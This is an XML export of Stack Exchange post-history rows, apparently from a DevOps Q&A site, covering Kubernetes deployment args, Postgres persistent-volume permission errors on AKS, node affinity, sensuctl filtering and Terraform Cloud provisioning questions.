  <row Id="32769" PostHistoryTypeId="3" PostId="10665" RevisionGUID="ee367f58-d3d8-437f-b67d-2ede0a1b6386" CreationDate="2020-01-31T18:47:27.013" UserId="4328" Text="&lt;jenkins&gt;&lt;github&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32773" PostHistoryTypeId="2" PostId="10667" RevisionGUID="f7d284f5-3c31-40f6-8138-f890d649be9a" CreationDate="2020-01-31T20:23:08.347" UserId="15792" Text="You can include the arguments in the deployment yaml.  The [official docs][1] include examples and further customization.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;spec:&#xD;&#xA;   containers:&#xD;&#xA;     image: myimage&#xD;&#xA;     name: myContainerName&#xD;&#xA;     args: [&quot;me&quot;, &quot;yes&quot;, &quot;https://my.url&quot;]&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/inject-data-application/define-command-argument-container/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32777" PostHistoryTypeId="2" PostId="10668" RevisionGUID="c56e90a7-0f0f-4c29-9656-24c09d7021e2" CreationDate="2020-01-31T22:24:05.970" UserId="19432" Text="Using sensuctl for sensu-go, I want to be able to search for entities by name, preferably using wildcards.&#xD;&#xA;&#xD;&#xA;I've tried this:&#xD;&#xA;&#xD;&#xA;`.\sensuctl.exe entity list --field-selector &quot;testfilter in entity.name&quot;`&#xD;&#xA;&#xD;&#xA;This still shows all of the entities regardless of the name.&#xD;&#xA;&#xD;&#xA;It seems that --field-selector may only be available in the licensed version and that may be why this isn't working." ContentLicense="CC BY-SA 4.0" />
  <row Id="32778" PostHistoryTypeId="1" PostId="10668" RevisionGUID="c56e90a7-0f0f-4c29-9656-24c09d7021e2" CreationDate="2020-01-31T22:24:05.970" UserId="19432" Text="How to filter by entity name using sensuctl?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32779" PostHistoryTypeId="3" PostId="10668" RevisionGUID="c56e90a7-0f0f-4c29-9656-24c09d7021e2" CreationDate="2020-01-31T22:24:05.970" UserId="19432" Text="&lt;sensu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32780" PostHistoryTypeId="2" PostId="10669" RevisionGUID="b8ac6e13-e277-49af-af2e-e306fcff509c" CreationDate="2020-01-31T22:35:28.420" UserId="11490" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xD;&#xA;&#xD;&#xA;1. `azure-storage-claim.yaml`&#xD;&#xA;```&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-sc&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;  location: westus&#xD;&#xA;```&#xD;&#xA;2. `azure-storage.yaml`&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: PersistentVolumeClaim&#xD;&#xA;metadata:&#xD;&#xA;  name: test-app-storage&#xD;&#xA;spec:&#xD;&#xA;  accessModes:&#xD;&#xA;    - ReadWriteMany&#xD;&#xA;  storageClassName: test-app-sc&#xD;&#xA;  resources:&#xD;&#xA;    requests:&#xD;&#xA;      storage: 15Gi&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;PVC is now setup.&#xD;&#xA;&#xD;&#xA;Changed the mountPath per the Postgres image documentation:&#xD;&#xA;&#xD;&#xA;&gt;PGDATA&#xD;&#xA;&#xD;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xD;&#xA;&#xD;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-deployment&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      component: postgres&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        component: postgres&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: postgres&#xD;&#xA;          image: postgres&#xD;&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xD;&#xA;          securityContext: &#xD;&#xA;            runAsUser: 0&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 5432&#xD;&#xA;          env: &#xD;&#xA;            - name: POSTGRES_DB&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGDATABASE&#xD;&#xA;            - name: POSTGRES_USER&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGUSER&#xD;&#xA;            - name: POSTGRES_PASSWORD&#xD;&#xA;              valueFrom:&#xD;&#xA;                secretKeyRef:&#xD;&#xA;                  name: test-app-secrets&#xD;&#xA;                  key: PGPASSWORD&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: postgres-cluster-ip-service&#xD;&#xA;spec:&#xD;&#xA;  type: ClusterIP&#xD;&#xA;  selector:&#xD;&#xA;    component: postgres&#xD;&#xA;  ports:&#xD;&#xA;    - port: 1423&#xD;&#xA;      targetPort: 5432&#xD;&#xA;```&#xD;&#xA;You get the error:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xD;&#xA;```&#xD;&#xA;So with either of that as the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xD;&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xD;&#xA;```&#xD;&#xA;Or&#xD;&#xA;```&#xD;&#xA;FROM postgres:11-alpine&#xD;&#xA;EXPOSE 5432&#xD;&#xA;```&#xD;&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&lt;br&gt;&#xD;&#xA;```&#xD;&#xA;Results in the following error:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xD;&#xA;&#xD;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xD;&#xA;```&#xD;&#xA;Someone suggested to get rid of the volume mounts like so:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xD;&#xA;&#xD;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xD;&#xA;&#xD;&#xA;Where are things going wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32781" PostHistoryTypeId="1" PostId="10669" RevisionGUID="b8ac6e13-e277-49af-af2e-e306fcff509c" CreationDate="2020-01-31T22:35:28.420" UserId="11490" Text="Can't get either Postgres permissions or PVC working in AKS" ContentLicense="CC BY-SA 4.0" />
  <row Id="32782" PostHistoryTypeId="3" PostId="10669" RevisionGUID="b8ac6e13-e277-49af-af2e-e306fcff509c" CreationDate="2020-01-31T22:35:28.420" UserId="11490" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;postgresql&gt;&lt;azure-kubernetes-service&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32785" PostHistoryTypeId="2" PostId="10670" RevisionGUID="3b12f56d-48a4-4ada-9bd9-28027d51eb71" CreationDate="2020-02-01T06:09:32.860" UserId="17675" Text="I'm trying to exclude a set of nodes when I submit a job in kubernetes. The set of nodes do not (yet) have a label to differentiate them, so all I can exclude them on is hostname (for now).&#xD;&#xA;&#xD;&#xA;All the examples on using [podAntiAffinity][1] use `labelSelector` which expects a label on the pod to differentiate it.&#xD;&#xA;&#xD;&#xA;How can I limit my job from deploying to a specific set of nodes? The closest example I could scrape together from the docs is this non working example:&#xD;&#xA;&#xD;&#xA;    affinity:&#xD;&#xA;      podAntiAffinity:&#xD;&#xA;        requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;        - labelSelector:               &lt;--- this is wrong, there are no labels&#xD;&#xA;          matchExpressions:&#xD;&#xA;          - key: &quot;kubernetes.io/hostname&quot;&#xD;&#xA;            operator: In&#xD;&#xA;            values:&#xD;&#xA;              - hostname1&#xD;&#xA;              - hostname2&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32786" PostHistoryTypeId="1" PostId="10670" RevisionGUID="3b12f56d-48a4-4ada-9bd9-28027d51eb71" CreationDate="2020-02-01T06:09:32.860" UserId="17675" Text="How to exclude a node in kubernets using podAntiAffinity?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32787" PostHistoryTypeId="3" PostId="10670" RevisionGUID="3b12f56d-48a4-4ada-9bd9-28027d51eb71" CreationDate="2020-02-01T06:09:32.860" UserId="17675" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32788" PostHistoryTypeId="2" PostId="10671" RevisionGUID="caa832f0-a077-4d26-ba5f-e813950f7870" CreationDate="2020-02-01T06:39:38.360" UserId="18007" Text="We removed the OCP plugin configuration from Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="32789" PostHistoryTypeId="12" PostId="10165" RevisionGUID="3df78a3c-6e0b-4846-bf46-dfa10712e297" CreationDate="2020-02-01T06:45:26.750" UserId="18007" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="32790" PostHistoryTypeId="2" PostId="10672" RevisionGUID="07ee3d90-cfc0-453e-935f-e761d91d9c95" CreationDate="2020-02-01T06:46:16.807" UserId="18007" Text="No :). please see Jenkins issue 14750:&#xD;&#xA;https://issues.jenkins-ci.org/browse/JENKINS-14750" ContentLicense="CC BY-SA 4.0" />
  <row Id="32791" PostHistoryTypeId="13" PostId="10165" RevisionGUID="a73890ba-6046-4a69-9de3-572c70fe0bae" CreationDate="2020-02-01T06:46:25.750" UserId="18007" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="32793" PostHistoryTypeId="2" PostId="10673" RevisionGUID="8acef6ce-b666-4759-8f2c-06f38f39ee47" CreationDate="2020-02-01T06:51:13.683" UserId="18007" Text="It was related at the end to Sonar DB performance (after getting AWR reports):&#xD;&#xA;https://stackoverflow.com/questions/59982345/how-to-maintain-cleanup-of-the-sonar-table-project-measures&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32798" PostHistoryTypeId="2" PostId="10675" RevisionGUID="1794d7f8-41ef-4ea7-9c68-bc4466c12111" CreationDate="2020-02-01T12:16:18.463" UserId="19438" Text="I want to learn best practices, and I hope you could help me with your expertise.&#xD;&#xA;&#xD;&#xA;In a large organization that uses cloud services and taking advantage of Infrastructure as Code (IaC). My two questions are as follows:&#xD;&#xA;&#xD;&#xA;1) What is the best way to patch a cloud IaaS or hybrid environment? I s there a way to do so without downtime at all? Please explain.&#xD;&#xA;&#xD;&#xA;2) With the powerfulness of IaC and that we can provision environments in seconds. Is there even a point to patch? Why don’t we just keep provisioning whenever we want and decommission the older ones?&#xD;&#xA;&#xD;&#xA;Any inputs will be greatly appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32799" PostHistoryTypeId="1" PostId="10675" RevisionGUID="1794d7f8-41ef-4ea7-9c68-bc4466c12111" CreationDate="2020-02-01T12:16:18.463" UserId="19438" Text="What is the DevOps Best Practices for Hybrid environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32800" PostHistoryTypeId="3" PostId="10675" RevisionGUID="1794d7f8-41ef-4ea7-9c68-bc4466c12111" CreationDate="2020-02-01T12:16:18.463" UserId="19438" Text="&lt;azure-devops&gt;&lt;cloud&gt;&lt;infrastructure-as-code&gt;&lt;servers&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32801" PostHistoryTypeId="2" PostId="10676" RevisionGUID="583e1b8b-1a80-43a8-9f22-337452ec61f8" CreationDate="2020-02-01T14:44:09.337" UserId="19440" Text="I am creating AWS EC2 instance and I am using Terraform Cloud as backend. &#xD;&#xA;&#xD;&#xA;in **./main.tf**:&#xD;&#xA;&#xD;&#xA;```HCL&#xD;&#xA;terraform {&#xD;&#xA;&#xD;&#xA;    required_version = &quot;~&gt; 0.12&quot;&#xD;&#xA;    backend &quot;remote&quot; {&#xD;&#xA;    hostname     = &quot;app.terraform.io&quot;&#xD;&#xA;    organization = &quot;organization&quot;&#xD;&#xA;    workspaces { prefix = &quot;test-dev-&quot; }&#xD;&#xA;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;in **./modules/instances/function.tf**&#xD;&#xA;&#xD;&#xA;```HCL&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;test&quot; {&#xD;&#xA;    ami = &quot;${var.ami_id}&quot;&#xD;&#xA;    instance_type = &quot;${var.instance_type}&quot;&#xD;&#xA;    subnet_id = &quot;${var.private_subnet_id}&quot;&#xD;&#xA;    vpc_security_group_ids = [&quot;${aws_security_group.test_sg.id}&quot;]&#xD;&#xA;    key_name      = &quot;${var.test_key}&quot;                                        &#xD;&#xA;&#xD;&#xA;    tags = {&#xD;&#xA;        Name = &quot;name&quot;&#xD;&#xA;        Function = &quot;function&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  provisioner &quot;remote-exec&quot; {&#xD;&#xA;    inline = [&#xD;&#xA;      &quot;sudo useradd someuser&quot;&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;    connection {&#xD;&#xA;      host = &quot;${self.public_ip}&quot;&#xD;&#xA;      type        = &quot;ssh&quot;&#xD;&#xA;      user        = &quot;ubuntu&quot;&#xD;&#xA;      private_key = &quot;${file(&quot;~/.ssh/mykey.pem&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and as a result, I got the following error:&#xD;&#xA;```&#xD;&#xA;Call to function &quot;file&quot; failed: no file exists at /home/terraform/.ssh/...&#xD;&#xA;```&#xD;&#xA;so what is happening here, is that terraform trying to find the file in Terraform Cloud instead of my local machine. How can I transfer file from my local machine and still using Terraform Cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32802" PostHistoryTypeId="1" PostId="10676" RevisionGUID="583e1b8b-1a80-43a8-9f22-337452ec61f8" CreationDate="2020-02-01T14:44:09.337" UserId="19440" Text="How to send local files using Terraform Cloud as remote backend?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32803" PostHistoryTypeId="3" PostId="10676" RevisionGUID="583e1b8b-1a80-43a8-9f22-337452ec61f8" CreationDate="2020-02-01T14:44:09.337" UserId="19440" Text="&lt;terraform&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32805" PostHistoryTypeId="5" PostId="555" RevisionGUID="89572345-fa7b-45bd-8e92-9b51c7922c95" CreationDate="2020-02-01T16:09:24.617" UserId="47" Comment="added 1322 characters in body" Text="From Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; Infrastructure as code (IaC) is the process of managing and&#xD;&#xA;&gt; provisioning computer [data centers][1] through machine-readable&#xD;&#xA;&gt; definition files, rather than physical hardware configuration or&#xD;&#xA;&gt; interactive configuration tools. The [IT infrastructure][2] managed by&#xD;&#xA;&gt; this comprises both physical equipment such as [bare-metal servers][3]&#xD;&#xA;&gt; as well as [virtual machines][4] and associated configuration&#xD;&#xA;&gt; resources. The definitions may be in a [version control system][5]. It&#xD;&#xA;&gt; can use either scripts or declarative definitions, rather than manual&#xD;&#xA;&gt; processes, but the term is more often used to promote [declarative][6]&#xD;&#xA;&gt; approaches.&#xD;&#xA;&gt; &#xD;&#xA;&gt; IaC approaches are promoted for [cloud computing][7], which is&#xD;&#xA;&gt; sometimes marketed as [infrastructure as a service][8] (IaaS). IaC&#xD;&#xA;&gt; supports IaaS, but should not be confused with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Data_center&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/IT_infrastructure&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Bare-metal_server&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Virtual_machine&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Version_control_system&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Declarative_programming&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Cloud_computing&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Infrastructure_as_a_service" ContentLicense="CC BY-SA 4.0" />
  <row Id="32806" PostHistoryTypeId="5" PostId="556" RevisionGUID="ddb93046-e41e-4874-85ea-fc6f473dc7be" CreationDate="2020-02-01T16:09:24.617" UserId="47" Comment="added 6 characters in body" Text="Use this tag for DevOps related questions about 'Infrastructure as Code' (IaC), which is a way to automate and backup environments." ContentLicense="CC BY-SA 4.0" />
  <row Id="32807" PostHistoryTypeId="2" PostId="10677" RevisionGUID="3bb7bc39-56d5-442c-8fbb-4e8a0aeab5c1" CreationDate="2020-02-01T20:08:02.213" UserId="19264" Text="you should use `Node affinity` which is conceptually similar to `nodeSelector` –and will allow you to constrain which nodes your pod is eligible to be scheduled on, based on labels on the node.&#xD;&#xA;&#xD;&#xA;On below example i run a job to 5 completions and all are started on node-01 of my cluster&#xD;&#xA;&#xD;&#xA;Example : job.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1&#xD;&#xA;    kind: Job&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        run: busybox&#xD;&#xA;      name: busybox&#xD;&#xA;    spec:&#xD;&#xA;      completions: 5&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          creationTimestamp: null&#xD;&#xA;          labels:&#xD;&#xA;            run: busybox&#xD;&#xA;        spec:&#xD;&#xA;          affinity:&#xD;&#xA;            nodeAffinity:&#xD;&#xA;              requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;                nodeSelectorTerms:&#xD;&#xA;                - matchExpressions:&#xD;&#xA;                  - key: kubernetes.io/hostname&#xD;&#xA;                    operator: In&#xD;&#xA;                    values:&#xD;&#xA;                    - k8s-node01&#xD;&#xA;          containers:&#xD;&#xA;          - image: busybox&#xD;&#xA;            name: busybox&#xD;&#xA;            resources: {}&#xD;&#xA;          restartPolicy: OnFailure&#xD;&#xA;&#xD;&#xA;Result :&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get all -o wide&#xD;&#xA;    NAME                READY   STATUS      RESTARTS   AGE     IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/busybox-2gdp6   0/1     Completed   0          3m20s   192.168.85.204   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-l654d   0/1     Completed   0          3m55s   192.168.85.201   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-n7dbr   0/1     Completed   0          3m29s   192.168.85.203   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-pfc79   0/1     Completed   0          4m11s   192.168.85.200   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-r4xln   0/1     Completed   0          3m16s   192.168.85.205   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   31h   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                COMPLETIONS   DURATION   AGE     CONTAINERS   IMAGES    SELECTOR&#xD;&#xA;    job.batch/busybox   5/5           60s        4m11s   busybox      busybox   controller-uid=e12f136b-d828-4f7b-a49b-303499496a8a&#xD;&#xA;&#xD;&#xA;I had two worker nodes on my cluster on job yaml i defined affinity to node01 only.&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   31h   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   31h   v1.17.2&#xD;&#xA;    k8s-node02   Ready    &lt;none&gt;   31h   v1.17.2&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32808" PostHistoryTypeId="5" PostId="10677" RevisionGUID="df058ca3-3a4e-4fe0-ac4b-66efbdaf2d0a" CreationDate="2020-02-01T20:21:55.767" UserId="19264" Comment="added 135 characters in body" Text="&gt; To exclude a set of nodes when submitting a job in kubernetes.&#xD;&#xA;&#xD;&#xA;you should use `Node affinity` which is conceptually similar to `nodeSelector` –and will allow you to constrain which nodes your pod is eligible to be scheduled on, based on labels on the node and you should be able to use hostname.&#xD;&#xA;&#xD;&#xA;On below example i run a job to 5 completions and all are started on node-01 of my cluster with node affinity defined.&#xD;&#xA;&#xD;&#xA;Example : job.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1&#xD;&#xA;    kind: Job&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: null&#xD;&#xA;      labels:&#xD;&#xA;        run: busybox&#xD;&#xA;      name: busybox&#xD;&#xA;    spec:&#xD;&#xA;      completions: 5&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          creationTimestamp: null&#xD;&#xA;          labels:&#xD;&#xA;            run: busybox&#xD;&#xA;        spec:&#xD;&#xA;          affinity:&#xD;&#xA;            nodeAffinity:&#xD;&#xA;              requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;                nodeSelectorTerms:&#xD;&#xA;                - matchExpressions:&#xD;&#xA;                  - key: kubernetes.io/hostname&#xD;&#xA;                    operator: In&#xD;&#xA;                    values:&#xD;&#xA;                    - k8s-node01&#xD;&#xA;          containers:&#xD;&#xA;          - image: busybox&#xD;&#xA;            name: busybox&#xD;&#xA;            resources: {}&#xD;&#xA;          restartPolicy: OnFailure&#xD;&#xA;&#xD;&#xA;Result :&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get all -o wide&#xD;&#xA;    NAME                READY   STATUS      RESTARTS   AGE     IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/busybox-2gdp6   0/1     Completed   0          3m20s   192.168.85.204   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-l654d   0/1     Completed   0          3m55s   192.168.85.201   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-n7dbr   0/1     Completed   0          3m29s   192.168.85.203   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-pfc79   0/1     Completed   0          4m11s   192.168.85.200   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/busybox-r4xln   0/1     Completed   0          3m16s   192.168.85.205   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   31h   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                COMPLETIONS   DURATION   AGE     CONTAINERS   IMAGES    SELECTOR&#xD;&#xA;    job.batch/busybox   5/5           60s        4m11s   busybox      busybox   controller-uid=e12f136b-d828-4f7b-a49b-303499496a8a&#xD;&#xA;&#xD;&#xA;I had two worker nodes on my cluster on job yaml i defined affinity to node01 only.&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   31h   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   31h   v1.17.2&#xD;&#xA;    k8s-node02   Ready    &lt;none&gt;   31h   v1.17.2&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
